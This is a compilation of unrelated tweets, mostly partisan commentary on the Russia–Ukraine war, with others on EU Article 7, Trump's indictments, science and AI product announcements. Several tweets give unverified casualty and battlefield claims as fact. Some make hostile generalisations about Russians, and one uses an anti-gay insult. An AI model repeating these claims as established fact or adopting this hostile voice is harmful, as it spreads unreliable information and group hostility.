The method and framework of sanctioning Hungary for severe breaches (see third tweet for a summary of some of some of the breaches), by #Hungary under #Article7 of the Treaty on European Union allows for the possibility of suspending European Union (EU) membership rights (such as voting rights in the Council of the European Union) if a country seriously and persistently breaches the principles on which the EU is founded as defined in #Article2 of the Treaty on #EuropeanUnion (respect for human dignity, freedom, democracy, equality, the rule of law and respect for fundamental rights, including the rights of persons belonging to minorities). Nevertheless, that country’s membership obligations remain binding.
In accordance with Article 7, on the proposal of one third of EU Member States, or of the European Parliament or of the European Commission, the Council, acting by a majority of four fifths of its members, having obtained the Parliament’s consent, may determine that there is a clear risk of a serious breach of these fundamental principles by a Member State, and address appropriate recommendations to it.
#Article354 of the Treaty on the Functioning of the European Union lays down the voting procedures to be used by the main EU institutions when a Member State faces the application of Article 7. The country in question does not take part in the vote. It is not included in the calculation of the one third of countries required for the proposal or the four fifths required for the majority. Parliament’s consent requires a two-thirds majority.
Here is the detailed mechanics - for those who are interested:
1. On a reasoned proposal by one third of the Member States, by the European Parliament or by the European Commission, the Council, acting by a majority of four fifths of its members after obtaining the consent of the European Parliament, may determine that there is a clear risk of a serious breach by a Member State of the values referred to in Article 2. Before making such a determination, the Council shall hear the Member State in question and may address recommendations to it, acting in accordance with the same procedure.
The Council shall regularly verify that the grounds on which such a determination was made continue to apply.
2. The European Council, acting by unanimity on a proposal by one third of the Member States or by the Commission and after obtaining the consent of the European Parliament, may determine the existence of a serious and persistent breach by a Member State of the values referred to in Article 2, after inviting the Member State in question to submit its observations.
3. Where a determination under paragraph 2 has been made, the Council, acting by a qualified majority, may decide to suspend certain of the rights deriving from the application of the Treaties to the Member State in question, including the voting rights of the representative of the government of that Member State in the Council. In doing so, the Council shall take into account the possible consequences of such a suspension on the rights and obligations of natural and legal persons.
The obligations of the Member State in question under this Treaty shall in any case continue to be binding on that State.
4. The Council, acting by a qualified majority, may decide subsequently to vary or revoke measures taken under paragraph 3 in response to changes in the situation which led to their being imposed.
5. The voting arrangements applying to the European Parliament, the European Council and the Council for the purposes of this Article are laid down in Article 354 of the Treaty on the Functioning of the European Union.
If you found this helpful, please like and retweet for general awareness. Thanks.
We've detected a Gravitational Wave Background (GWB). Gravitational waves are formed from some of the most energetic processes in the Universe, like black hole mergers, or inflation! So, what does the GWB mean?
(GIF source: https://t.co/m8yWgW8Vsv)
1/n https://t.co/FHaXkqNnoj
More shocking revelations 10pm tonight from unmissable @C4Dispatches film on Boris Johnson and #Russia. Evgeny Lebedev- we learn - was the owner of hotels in occupied Crimea *after* Putin annexed the peninsula in 2014. Johnson then made him a peer. @campbellclaret @PippaCrerar https://t.co/4AOpaSoqkZ
FIRST USE OF 🇷🇺T-14 IN UKRAINE
Depraved Western liberal lesbians like @noclador have doubted the supremacy of 🇷🇺T-14
NOT ANYMORE!
See this exicting battle footage from first use of T-14 in Ukraine, and be amazed!!
🇷🇺VICTORY🇷🇺
https://t.co/Ag48Uvwn7V
just got this in.... "Hi David, Greetings from Ukraine. I just saw your most recent tweet about how people doubt your numbers of Russian casualties, and I think a reason might be that people feel if Russian casualties were so high, then Ukraine would be advancing faster. I think addressing this might help people understand."
The African delegation brokering peace between Ukraine and Russia achieves nothing.
Putin interrupted the arguments of the delegation after they stated that the peace should be based on internationally recognized borders.
Putin made several claims. Let’s address them. 1/ https://t.co/mCs0EaOqbH
You can view the map at https://t.co/Wmfknk5eHW
and because I think twitter will not display url that is map dot ukrdailyupdate dot com
You can bookmark that.
After the partying, drinking and dancing... now we start with the analysis
WOW what an indictment
A sitting US President committed deliberate espionage against the USA
WOW. We knew it happened, but now it has been said by DOJ in legal court documents
WOW. Trump has not yet... https://t.co/35V4PfGbEO
Horsing around in the bathroom again… Stacy’s Mom with @BucketsDrummer
#bagpiper #bagpiper #buckets #bucketdrumming #horsehead #stacysmom https://t.co/jsWbNDdvML
We are thrilled to announce that the Kyiv Independent has won the most prestigious journalism prize in Europe — The European Press Prize.
The European Press Prize celebrates the highest achievements in European journalism. https://t.co/5NgCUasiZi
Page three of the DoJ indictment of Trump confirms CNN reporting; there's a recording of him admitting to holding classified materials: https://t.co/ficSVQZtMK https://t.co/nEevpDvgTz
Timeline of the Nova Kakhovka dam explosion :
Repost (!)
Residents located in a local Kakhovka group chat began reporting one or more explosions at around 2:20 a.m. local time.
1/6 https://t.co/4pD9N52Kqm
Very important on #Kakhovka. The chronology of the terrorist attack by Russian terrorists. Or how Russians screwed in their excuses.
At two o'clock in the morning, the Russians blow up the Kakhovka hydroelectric power station, but they don't see how much. It's not very visible, but it can still hit.
1. The Russians still think that they have neatly blown up a small part of the HPP and are flooding our military on the islands. At 6:06 a.m., the head of Nova Kakhovka, Leontyev, said that the explosion of the GES was nonsense. Like, we don't know why the water rose there. Here is the link to Ria Novosti's https://t.co/xaUcwyFdJ3
2. Russian OSINT intelligence community Rybar picks up the thesis and says a small area was blown up at 6:51 a.m. Link https://t.co/Xi3xBC0937
3. At 6:51 in Nova Kakhovka, they see that the dam is a complete ass, and the mom's stratagems start to realize that they are in trouble. The mayor of Nova Kakhovka abruptly changes his rhetoric and says there was no explosion, it was a shelling by the Ukrainian army. Link https://t.co/IgL6DLmuo6
4. But the propagandists, who do not know what the fuck has happened, continue to work according to the methodology and continue to throw into the information space that the dam was previously shelled, and then it got a little tired and broke a little. Here is a post by Podolyaki's propagandist https://t.co/vkE4ZRIgvU. And the propaganda channel War on Fakes https://t.co/BertOSL0Af
5. Other telegram channels that cooperate with the military are happily hopping on one leg, cheering, because of the undermining of the Kakhovka dam, the positions of the Ukrainian Armed Forces on the islands are flooded, the Ukrainian Armed Forces are trying to evacuate and escape, and then they publish joyful reports of how they are hitting the positions of our guys on the islands. 08:25 Link https://t.co/A9m92LZl3j
6. Here, the Russians are slowly realizing that they have created a large-scale man-made environmental disaster, almost as large as Chernobyl. And they are starting to reverse. Russian influence on the information space is changing its tone dramatically. They instantly change their tune and start accusing the Ukrainian side of provocations. Like it's a Bankova operation A reference to the same "war on fakes" that said the dam had somehow collapsed on its own.... https://t.co/Fe43m8qwoV
But even in their excuses, the racists still screwed up. Either the dam was blown up, or Olha was shelled with MLRS.... https://t.co/VjrZNurmBG Although any sapper will give a hundred percent guarantee that it is impossible to make such destruction from the outside, the damage here was done by planting explosives
And then they are already beginning to adhere to this thesis, because what they have done is a huge international tragedy, especially in the environmental sense.
I have translated this text from https://t.co/0QHGIdPnEK Telegram channel
"russia" isn't even 500 years old. All history before 1547 the russians stole from other people and nations.
Even the what they call themselves and their nations the russians stole. And they stole it from Ukraine. The thread below explains:
I suspect a similar pattern to the aftermath of the MH17 shootdown will emerge; Russians on the ground will brag about it, and then when the extent of the calamity they've wrought begins to emerge, Moscow will instruct their forces to shut up and blame Kyiv.
@secretsqrl123
@ItsTheEnforcer
@lookner
This video shows three distinct blasts from emplaced explosives at the #Kakhovkadam
https://t.co/tRi5RDFdiA
1/5
This is a real place. It is a housing estate called Les Espaces d'Abraxas, built near Paris in 1982.
And it's one of the most important buildings in the world... https://t.co/mOOTJTmcQD
If a plastic bottle is left in your car and the right amount of sunlight hits it at just the right angle, a car seat could catch fire. This video shows how
[Midwest City Fire Department: https://t.co/VqmX6jnkwJ]
https://t.co/hQkl52c1Fp
I made a quick Automation to protect my iPhone if someone steals it while unlocked: if they turn on Airplane Mode (Find My), it asks for a passcode. If wrong… it automatically locks the phone 🔒, turns ON all connectivity 📡 + Low Power Mode 🔋, and shares its current location📍 https://t.co/KYwbbz1QkV
Delighted to help with that too. This was what I wrote about a possible full scale Russian invasion, published in January 2022. https://t.co/QstqV5LFE3
24/ Shoigu's medal "For the return of Crimea" has an interesting story. Its existence was denied until 2018, when Shoigu first wore in it public. The medal dates the start of the operation to seize Crimea as "20.02.14" – while Viktor Yanukovych was still the president of Ukraine. https://t.co/oDA5UpcWDu
What if we could:
• Sequester CO2
• Create more life
• Reclaim huge pastures and turn them back into forests
• Increase healthy food production
• Grow the economy
• And make money along the way?
How? By filling ocean deserts with life: https://t.co/0L4noy2x0L
Jeffrey Sachs new article: The War in Ukraine Was Provoked.
He claims that the war was provoked by NATO expansion and started in 2022 with the US-sponsored violent coup.
Again all his arguments are false, but they should be taken seriously and must be refuted. 1/
But voters change their minds. Here are the 2019 results. Zelensky won all of those alleged "pro-Russia" regions. #FactsMatter. https://t.co/0cmMQerIvI
My recent video of the International Space Station drew a lot of questions, so before I release the image I captured I thought I would put together a thread describing exactly how you can capture a similar photo! 👇 https://t.co/HRAuuQsvqe
Anyone paying attention when the "Little Green Men" of the 45th VDV Spetsnaz Regiment from Kubinka invaded and annexed Crimea in 2014 gets this Ukrainian trolling punch line.
Russian VDV lead Putin's 2014 invasion of Ukraine, not "Separatists."
1/4
1) The Russian government released this photo of the alleged Belgorod insurgents vehicles after a battle. I used to be a tow truck operator. This is staged. These vehicles didn’t crash into that trench. I’ll explain why⬇️ https://t.co/vNJpH0qhqY
🚨🚨🚨BREAKING: A New York judge has scheduled Donald Trump’s CRIMINAL TRIAL for March 2024.
That means the trial will take place BEFORE the 2024 election.
This is HUGE development that will send shockwaves throughout the Republican primary that could extend to the general election.
The trial date was set during a brief hearing Tuesday in which Judge Juan Merchan read Trump an order on what he can and cannot say publicly about the case and evidence his legal team will get from prosecutors to prepare for trial.
Trump appeared remotely via video feed so the judge could communicate with him in open court.
Trump pleaded not guilty last month to 34 felony counts of falsifying business records with the intent to conceal illegal conduct connected to his 2016 presidential campaign.
Judge Merchan also cautioned Trump and his attorneys that Trump's violation of the order preventing him from publicly disclosing evidence could result in sanctions.
"Violation of a court order or court mandate could result in sanctions which include a finding of contempt which is punishable," Merchan said.
LET’S GO!!!!
russia placed 10,000s of dragon teeth across Bilhorod to keep Ukrainian supported rebellious russians out... but then the rebellious russians just drove through one of the undefended border posts.
¯\_(ツ)_/¯ https://t.co/eUtJaw1Hgd
(THREAD) There’s so much Elongelical copium today in my comments I figure it’s time for a thread on Musk that’s exclusively made up of major-media reports on him. Want the truth about Elon? RT this. (Be aware he’ll sic his Community Notes stormtroopers on any words he dislikes.) https://t.co/ZummpuqPes
Important announcement
Today I will start a thread series
#RussiaDecolonized. I will write about each republic and estimate their chances of becoming free.
There are nations that fought for their freedom against Moscow and even declared independence in 1991.
Ellison's Cave is a pit cave located in Georgia. It's the 12th deepest cave in the U.S. and features the deepest, unobstructed underground pit in the continental U.S. named Fantastic Pit. The cave is over 12 miles long and extends 1063 feet vertically https://t.co/S0NPdkCIAf https://t.co/SWvkkgURhP
Imagine you could go back in time to the ancient world to jump-start the Industrial Revolution.
You carry with you plans for a steam engine, and you present them to the emperor, explaining how the machine could be used at mines, mills, blast furnaces, etc.
But to your dismay… https://t.co/qRT7h3diX6
Weapon systems that impressed the world in the last year:
🇺🇸HIMARS / GMLRS
🇺🇸Patriot PAC-3
🇩🇪IRIS-T
🇸🇪🇬🇧NLAW
🇺🇸Javelin
🇫🇷CAESAR
🇩🇪PzH 2000
Weapon systems that made the world laugh:
🇷🇺Su-34
🇷🇺Su-35
🇷🇺Iskander
🇷🇺Kinzhal
🇷🇺Pantsir
🇷🇺T-90
🇷🇺S-400
¯\_(ツ)_/¯
Three pics that help visualize how technologically backwards russia is:
• 1st pic: in red the Radar Cross Section (RCS) of russia's 3 year old Su-57
• 2nd pic: in red the RCS of the US' 8 year old F-35
• 3rd pic: in red the RCS of the US' 18 year old F-22 https://t.co/ORFuEzimWp
Remember Karl Popper's paradox of tolerance?
"The seemingly self-contradictory idea that in order to maintain a tolerant society, the society must retain the right to be intolerant of intolerance."
Here is an Internet-age corollary:
"In order to maintain a constructive discourse, online forums must retain the right to troll the trolls."
https://t.co/08AcUeyyst
RT's former Director of Broadcasting, Anton Krasovsky, talks to propagandist Akim Apachev about killing millions of Ukrainians, turning Ukrainian children into Russians and other genocidal ideas. They also touch on Bakhmut, Medvedchuk and Prigozhin.
https://t.co/xq3mgWa6Bl
🧵In my previous reports, I covered the activities of the Wagner globally. Today, the UN Human Rights Office released a report exposing mass executions carried out by the Wagner and Mali forces. Drone footage has exposed these atrocities despite attempts to conceal them. https://t.co/EkHstlkHq1
russia isn't a superpower... never was.
russia could only play superpower as long as it controlled a vast colonial empire. In 1989 the Soviet empire consisted of:
🇪🇪🇱🇻🇦🇲🇹🇲🇱🇹🇰🇬🇲🇩🇹🇯🇬🇪🇦🇿🇧🇾🇰🇿🇺🇿🇺🇦 🇵🇱🇷🇴🇨🇿🇸🇰🇭🇺🇧🇬 + East Germany = 252m oppressed people
and
🇷🇺 = 147m oppressors.
1/3
🧵Russian May 9th Parade 2023 vehicle composition thread. Now we finally get to compare this year's parade to the previous years'.
This year I have not seen an official lineup released for the first time.
Last year 131 vehicles took part, down from over 200 the previous years https://t.co/qKL8JQrsLg
From 6 September to 2 October 2022 Ukraine liberated around 12,000 square kilometers during the Kharkiv / Kupianks Offensive.
This map shows 12,000 square kilometers in yellow. Even if Ukraine liberates just half of that area, once Ukrainian troops reach the sea all russian
1/3 https://t.co/06mePtlutt
How many troops and how much equipment is needed to hold a defensive line in a peer-level conflict: estimates from a NATO member's handbook about holding 30km of front against mechanized & tank divisions:
A first trench line to slow down the attack: around 300 troops per km
1/13 https://t.co/ybkw7WwvFN
South East Asia's heating has been off the charts for several weeks. It's gone nuts in the past 2 days:
>Laos: hottest day in history, 43.5C
>Vietnam: hottest day in history, 44.1C
>Dozens of monthly records broken
Thailand recorded its hottest day ever on April 15 (45.4C) https://t.co/uFddhbXbxG
Engineer and sculptor Bert Hickman’s explores his fascination with the Lichtenberg Figure by suspending the phenomenon in solid polymer acrylic and “injecting” electrons into the structures using a 150KW machine called a Dynamitron https://t.co/CQHrVjjs9d
https://t.co/50HeqP1DtP
OTD 1945 🇩🇰 resistance disarmed the occupiers. The 🇩🇰 Brigade consisting of 5000 soldiers trained in 🇸🇪 was shipped from Helsingborg eager to participate in the liberation of their country. Less known, Sweden planned a full scale invasion of Denmark. Here is a 🧵 about it. 1/13 https://t.co/zdWlxhMlGs
Introducing: 💫StarCoder
StarCoder is a 15B LLM for code with 8k context and trained only on permissive data in 80+ programming languages. It can be prompted to reach 40% pass@1 on HumanEval and act as a Tech Assistant.
Try it here: https://t.co/4XJ0tn4K1m
Release thread🧵 https://t.co/wZj6B2KKZE
Strange but true: the expanding Universe doesn't conserve energy
The conservation of energy is one of the most important laws in all of physics, applying to all forces and lab experiments.
But for the overall Universe, that's no longer true.
Here's why.
https://t.co/sng9NpxMWJ
Starship is about to change the world, but ppl haven't realized yet
@SpaceX and @elonmusk's rocket will drop transportation costs to space
And in the past, every drop in transportation costs has revolutionized the world.
Here's what's going to happen: https://t.co/yVOA10bVSl
Teruaki Tsubokura's invisible sculptures are obtained with the 3D tracking system "Lighthouse" adopted by HTC Vive. Unlike VR or AR, the shadows are reflected in the real space
[read more: https://t.co/AQ7xjb8FjV]
[video: https://t.co/WXxWbzhE02]
https://t.co/VvrkvOCGA8
The Norwegian Crusade was just as wild as you can imagine!
In 1107 King of Norway Sigurd I sailed with 60 ships to Jerusalem.
He would become the first European king to visit the Holy Land.
But the journey lasted for four years and a lot of violence happened along the way! 🧵 https://t.co/jk1WcgClVP
Hurling hot water in freezing tempetatures has always its aesthetical reward
[📹 Douyin 抖音号 1530506662: https://t.co/d479QNv8kK]
https://t.co/CJ8Nzc7z04
Gifting this article…if this turns out to be the true story behind the document leak, God help our country.
If true, the desire for “fame” by the leader who is among a group of young gamers is unfathomable.
Read here: https://t.co/3OyXuAbt9P
By the end of the decade we will be able to communicate with most animals on earth.
It’s just translation and interpolation. The AI hallucinates what they’re saying, but matches the hallucination with actions they take.
Intelligence awakens everywhere.
By 2025 Autonomous AI Agents will be in every aspect of life.
They've been out for a week - and already the possibilities are mind-blowing.
But what are they? How did we just figure them out and whats next for us?
I'll try my best to explain. Buckle up, its gonna be a douzey https://t.co/SV3GbEUAr4
AutoGPT is taking the internet by storm. Its everywhere.
They’re basically AI agents that run by itself, and complete tasks for you.
The best part is you can set it up yourself, and have your own 🤖 doing your bidding for you in less 30 minutes.
Heres how: https://t.co/on87Qh8ayY
In early 1988, U.S. Attorney RUDY GIULIANI was investigating Donald Trump for multiple instances of laundering organized crime money through Trump Tower. Giuliani dropped the investigation when Trump announced a large donation to his mayoral campaign. https://t.co/7H03CpSblN
A massive leak in the Russian intelligence community has been revealed. Leaks from Russia are relatively rare. This makes it even more interesting.
The Whistleblower leaked the information due to the war in Ukraine. He/She calls the Russian government "cowardly and wrong".
https://t.co/N8TB8ncEXh
#VulkanFiles #Ukraine #Russia
It has an operator (as opposed to a Path Integral) focus, because that is where undergrads start and the idea is to see *why* canonical methods and path integrals are used all the time. Path integrals will be the endpoint I think, where you see why they make life so easy.
We (and various pseudo academics*) genuinely pretend there's no way to explain why NATO is so obviously popular with so many of our former colonies. Total, unexplainable mystery. Especially seeing as we don't whitewash these crimes at all and aren't repeating them right now. https://t.co/YCIUNmGPxN
TASS in 2018: Upgrading Russian tanks to fire depleted uranium ammunition “does not violate any international treaties”
TASS in 2023: UK providing Ukraine with depleted uranium ammunition “violates the fundamentals norms of international law” https://t.co/elLJlvTKW6
1/ A volunteer from Tatarstan's Alga volunteer battalion has spoken out about his experiences fighting in Ukraine. He says his unit was 'almost completely' destroyed near Vuhledar. He is now facing criminal charges for leaving it and returning home after being injured. ⬇️ https://t.co/sNp7ik5PL4
Stanford Alpaca, a new LLM player, has been fine-tuned with Nvidia A100 x 8 for 3 hours ($100) and augmented with OpenAI GPT-3 ($500). This model can be used on a single GPU or CPU, such as Apple Silicone or Raspberry PI, and offers performance similar to GPT-3 at a total cost of $600.
https://t.co/a96uhy6sXW
The story of the Fritchle Electric Automobile, the electric car that debuted in 1904 & could travel 180 km on a single charge. Its inventor drove it from Nebraska to NYC, and there were at that time sufficient charging stations along the way
[read more: https://t.co/mJLtM7wiUi] https://t.co/jzaCWGkgNz
We are proud to introduce Wonder Studio.
An AI tool that automatically animates, lights and composes CG characters into a live-action scene. No complicated 3D software, no expensive production hardware—all you need is a camera.
Sign up for closed beta at https://t.co/QPyOVMjEAy https://t.co/aHf2bLTsgZ
We (@ssokota and myself) have achieved a breakthrough in secure communication:
We developed an algorithm that conceals information so effectively that it is statistically impossible to detect that anything has been hidden. 🧵1/8
https://t.co/zsXYwClRqA https://t.co/vMOt84hYlu
okay so AI can literally read our minds now.
a team from osaka was able to reconstruct visual images from mri scan data using stable diffusion.
first row is the image presented to the test subject, second row is the reconstructed image from mri data.
wild. https://t.co/AvTakwQinb
Since the early-1990s, PepsiCo has sold $1B+ of Doritos a year.
Why is the chip so addictive? From the ingredients to cooking method to texture, its engineered to pull all the psychological levers to make you crave the snack.
Here’s a breakdown 🧵 https://t.co/QqbqpP16s9
The hair and clothes in the left image appear white, while those in the right image appear black; they are blue and yellow stripes. https://t.co/qi2TZQLVIx
Exactly nine years ago on Feb. 20, 2014, Ukraine was going through one of the bloodiest days in the three-month-long EuroMaidan Revolution. Also known as the Revolution of Dignity, it is often credited as one of the most consequential events in Ukraine's modern history. https://t.co/7WdbCE6IxM
The world's tallest waterfall, standing at 979 meters (3,212 feet): Angel's Falls, located in Venezuela
[read more: https://t.co/k6fmyWoB1e]
[📹 https://t.co/a3kIunmO8C]
https://t.co/lVV5Dn0RU1
The Newtonian constant was just a constant ... til 1915
The electron mass was just a constant ... til 1967
The Fermi constant was just a constant ... til 1971
The proton mass was just a constant ... til 1974
The cosmological constant is just a constant ...
On November 12, 1833, there was a meteor shower so intense that it was possible to see up to 100,000 meteors crossing the sky every hour. At the time, many thought it was the end of the world. This woodcut by Adolf Vollmy was inspired by the event [more: https://t.co/MygcBv7mu2] https://t.co/dC5GvfVAJh
Happy publication day to Martin MacInnes for IN ASCENSION - it's a mystery story, an epic combo of origin of life theories, deep-sea biology, space travel and astrobiology, but also human nature. It's brooding, intimate, and moving, and it stayed with me.💚 https://t.co/16xF0TVHIY
COVID: summary of lab-origin hypothesis:
1) Pandemic caused by bat SARS-like coronavirus emerged in Wuhan--city 1,000 km from nearest wild bats with SARS-CoV-2-like coronaviruses, but that contains labs conducting world's largest research program on bat SARS-like coronaviruses.
⚠️A while ago I developed Heimdall-WiFi-Radar, only with 3× ESP8266 it was possible to track and position WiFis devices through walls, now with the help of AI we have a new level, it is possible to know where you are and what are you doing! 😱😱 https://t.co/9eL87emQRC
10 years ago today @aaronsw took his own life after overly aggressive prosecution.
He invented internet infrastructure.
He defeated the greatest threat the Internet had ever seen.
And you probably don't know who he is.
You should.
Here’s his story 🧵 https://t.co/1ixjV71eBE
11 ways ChatGPT saves me hours of work every day, and why you'll never outcompete those who use AI effectively.
A list for those who write code:
1 of 16
What you should know about @navalny?
1. Far right politician, promoter of hate propaganda
2. Never disowned his extremist agenda or assumed responsibility for it. When being called out, he lied and smeared his critics
3. Enjoyed thorough whitewashing by Moscow & Western media🧵 https://t.co/TXqNmNOsAS
WHAT A YEAR for tech.
Everything feels like one step from burning to the ground, but I'm more excited about the future than ever before.
The 10 most important tech events and breakthroughs of 2022:
There's a feeling I get from watching this video. Something about how the world is just beautiful and wonderful.
And I want to feel that when listening to a podcast. https://t.co/22kjQulr6x
Phone records, documents, interviews and thousands of hours of video expose the main Russian military unit responsible for a devastating atrocity: the killing of dozens of people along one street in Bucha, Ukraine. https://t.co/Nve8s7S6UB https://t.co/xBcLQGx4GE
🚨Breaking: Zuckerberg weighed naming Cambridge Analytica as a concern in 2017, months before data leak was revealed through FOIA by @zamaan_qureshi
via @b_fung @CNN
https://t.co/nGFZVoPKth
This is a video with the GeoConfirmed data of the triangle Bakhmut - Soledar - Popasna, starting on 28 AUG 2022, the first day of the Ukrainian Counteroffensive, til today.
Every icon = GeoLocated footage!
We are still working on the improvement of our map. https://t.co/33EDPrpHtt
Einstein: "I know not with what weapons World War III will be fought, but World War IV will be fought with sticks and stones."
Meanwhile the Indian Army against Chinese Troops.
Launch of a Soviet-era Tu-141 drone, that the UA has been modernizing, from a tubular launcher with covers. It is believed they deployed them during the recent strikes on RFAF bases deep within Russia. Date, location, source unknown. Unique...
#OSINT
#UkraineWar https://t.co/3R2VgSrQbs
The most valuable thread you will read this year.
23 time tested ways to make $300k/year from people who’ve done it over & over.
Start 2023 with these 23 learnings 👇
ChatGPT has crossed 1M+ users in just 5 days.
To compare, it took Netflix 41 months, FB - 10 months, and Instagram - 2.5 months.
But many haven’t yet realized its full potential.
Here are the 10 mindblowing things you can do using it right now:
On Nov. 30, we ran a story that was, in a way, unique.
It was an investigative piece focusing on alleged misconduct in the International Legion, a special military unit created for foreigners who volunteer to fight for Ukraine.
https://t.co/ndwMRtiso2
The photo of the U.S. Air Force's new stealth aircraft is on the left, taken at night, with stars in the background.
We can use them to find the exact location of the jet
(thread)
If you want to reduce your carbon footprint, focus on what you eat, not whether your food is local.
The chart shows why: transport tends to account for only a small share of greenhouse gas emissions — the differences between different food choices are much larger. https://t.co/9C1pnPlOwP
While it had been scientifically proven that offering dances to the Goddess of Justice cannot guarantee a verdict, I am here to report that such dances can certainly help. https://t.co/zBPAO4GFTp
🗞️Today marks 28 years since Russia, US, UK signed a Budapest Memorandum. The parties agreed to respect independence and sovereignty of Ukraine, Belarus and Kazakhstan.This is how RU respect the international treaty, by launching another wave of cruise missiles.
#UkraineRussiaWar https://t.co/wFYLz8uaeT
Russia not only grotesquely violated the Budapest Memorandum -- while its other signatories remained shamefully silent -- but now the missiles Ukraine gave up are used to kill Ukrainian civilians.
This will haunt the world for centuries. Who would ever give up their nukes now?
Many Russians hate Ukrainians and they only hate them for their very existence. Nothing more or less. There are plenty of cases of absolute senseless killings (murders) and it will take generations that those two peoples will be able to live in peace next to each other. #Ukraine
A thread here for those who don't understand why the China protests over the weekend protests are so shockingly rare.
Surveillance. In. China. Is. Extreme. Think you could evade Chinese police? Let's walk through it:
Over the past nine months, russia has launched more than 16,000 missile attacks on Ukraine.
97% of russian targets are CIVILIAN.
We are fighting against a terrorist state. Ukraine will prevail and will bring the war criminals to justice. https://t.co/IGsC09G4Hr
1/ Dozens of Russian soldiers who have been imprisoned and starved in a basement have been forced back to the front lines at gunpoint by the Russian Army, according to relatives. Some are reportedly sick from starvation and have been robbed of all their money and possessions. ⬇️
have provided the russian propaganda with this gift.
If you still have doubts: here is a PKM machine gun being fired, and after that I added three times the audio from the last second of the Ukrainian soldier's video.
You be the judge what we hear in that last second.
19/end https://t.co/jSHSZCtE4X
Two quickly drawn Makiivka graphics:
• Left: red = kill zone of the Ukrainian machine gunner; yellow = undamaged wall
• Right = bullet impacts on the wall
So if the russians were shot in the head while lying down as the @nytimes "expert" claims - how did bullets hit the wall? https://t.co/ynN7tpRTKF
Givi (Mikhail Tolstykh) and Motorola (Arsen Pavlov) here pictured together. Motorola (Sparta btn. commander) admitted he killed 15 🇺🇦 POWs and was accused of torture multiple times. Givi (Somalia btn. commander) was known for physically abusing Ukrainian POWs and killing them. https://t.co/qhThazaPb1
I know two people, who still have parents in Donbas... hostages yearning for liberation from the russian occupiers like the people of France, Netherlands, Norway, Denmark, Belgium, Luxembourg, Poland, Czechia, Greece yearned for liberation from the nazis in 1939-1945.
Update 🧵November 6th
This presentation is sponsored by the heroic efforts of the AFU to liberate Ukraine.
They have liberated 50% of the territory Russia occupied after Feb 24th.
Visit interactive map for more details and explanations:
https://t.co/qkyqJ5tehA https://t.co/dghHcHC8nT
Amazing to read how the 🇷🇺 forces in matter of 2 weeks, have build an extensive defensive network on the east bank of the Dnipro river, defenses from Antonovskiy bridge all the way to the blacksea cost! Hell of a post @COUPSURE 🙏
⚡️North Korea accused of hiding ammunition supplies to Russia.
U.S. officials said North Korea was trying to hide the shipments by making it appear as if the ammunition is being sent to the Middle East or North Africa, according to newly declassified intelligence quoted by CNN.
I like this statistics very much. Just look from May to August how little Russia has “advanced”. That was the grinding stone for the Ukrainian counteroffensives we are seeing, currently.
The number of civilians whose bodies were exhumed after RU occupation of Kyiv oblast in February-March is 1367 now. Imagine the number of the dead in the parts of #Ukraine under occupation in February-November.
#RussiaIsATerroristState #PutinIsaWarCriminal #StandWithUkraine https://t.co/eWWp29uPUF
1/6
How I transferred a physical toy to the digital world in one hour with AI
-> LumaAI (3D scan)
-> Cinema4D (editing)
-> Mixamo (rigging and animation)
-> MetaSparkStudio (AR) https://t.co/zChf6FRaqE
A useful mapping update from @war_mapper on the conflict in #Ukraine, including changes in the amount of Russian occupied territory (which continues to decline).
In what may be considered Musk’s first major misstep as Twitter’s new owner, he chose to amplify a far-right conspiracy theory in a now-deleted tweet garnering scrutiny from all sides.
https://t.co/e099B2BClb
Incredible investigation by @FT showing how Russia secretly takes grain from occupied #Ukraine.
Documents, photos, satellite imagery and interviews reveal a complex shadow operation managed by private companies and arms of the Russian state 👇 https://t.co/Q8QMkehJo7
🚨NEW: The entire 11th Russian Army Corps of Kaliningrad, which has been sent to Ukraine, has been destroyed. 12,000 troops wasted. Kaliningrad itself is currently defenseless.
https://t.co/6omeKJ8SPL
1/ With the dismissal of Colonel-General Aleksandr Lapin as the commander of Russia's Central Military District, ugly stories are emerging about his treatment of mobilised soldiers. He's said to have put his pistol to the head of a lieutenant and threatened to shoot him. ⬇️ https://t.co/fMQhmUiNz6
Footage of the USV attack on the Admiral Grigorovich class frigate, and the fact that it approached without any response suggest that the attack was successful. @oryxspioenkop @Danspiun @TheDeadDistrict @Rebel44CZ @RALee85 @Osinttechnical @orko_8 @SelimAtalay08 @KozanSErkan1 https://t.co/fxXrkQ3Mqv
As people are wondering how the Ukrainian national symbol, the Tryzub (photo), became the most common Italian Army heraldic symbol - a Italian Army heraldry 🧵:
1/n https://t.co/kC2MIwrlYG
Mariupol. Endless graves of nameless people…
I keep picturing these people raising their glasses to the New Year 2022 in their happy homes on January 1.
Now they’re just numbers on graves.
#StopPutinNOW #StandWithUkraine
https://t.co/cJ5fP5HojZ
In this horrifying clip, Donald Trump proposes throwing reporters in jail, where they'll be raped until they give up their sources.
His crowd laughed. https://t.co/DH3T5YE9Ho
Follow this exchange and you will understand why many Ukrainians wanted to secede from Russia since a long time. The Holodomor was no accident, it was just one episode of the constant attempt to destroy the Ukrainian people. Those creatures in the clip are just another episode.
Martingales for Physicists
https://t.co/oYgYdaCrTC
We review the theory of martingales as applied to stochastic thermodynamics. We also look at stochastically processes in physics more generally....
🧵 👇 https://t.co/eafU062kBu
@historyinmemes @elonmusk Fun Fact - After World War 2, nations agreed to form & join the UNITED NATIONS
The UN Charter now bans the use of wars of aggression for expansion of territory.
Maybe cause the previous many centuries weren't much fun. https://t.co/0ksYkVxykv
In the Ilyichevsk morgue of Mariupol, 87,000 people were registered dead, another 27,000 are unidentified.
Hey, russians, do you understand what a heinous #WarCrimes your army committed in this Ukrainian city?
Are you aware that your country will have to answer for this?
Russian lawmakers Andrey Gurulyov and Konstantin Dolgov advocate freezing, starving the Ukrainian civilian population, forcing them into exile by making their survival otherwise impossible. State TV host Olga Skabeeva disingenuously claims that Russia simply has no other choice. https://t.co/joz8ui9P8l
1/ After 6 months of Russian occupation, residents of Izium, Kharkiv have finally been able to speak to @hrw about the unlawful detentions and torture they were subjected to https://t.co/ENAEjllTY9 https://t.co/iDdn2vG1Gw
A proposal to create a new international tax system and combat corporate tax dodging has been introduced at the United Nations in a move that comes after years of stalled global tax reform efforts between some of the world’s richest countries at the OECD. https://t.co/fwQQnRRbwP
Pro-Russian voices have claimed that wounded people in Kyiv were just actors staging their suffering.
But a fact-check shows that the victims are real.
https://t.co/d06MRimZXl
We live now in a moment that needs our long-term perspective more than ever. In times of crisis, long-term thinking becomes a radical investment. We are looking for someone who understands why now is the perfect time to think and build long-term.
https://t.co/Pr3Dwqzz34
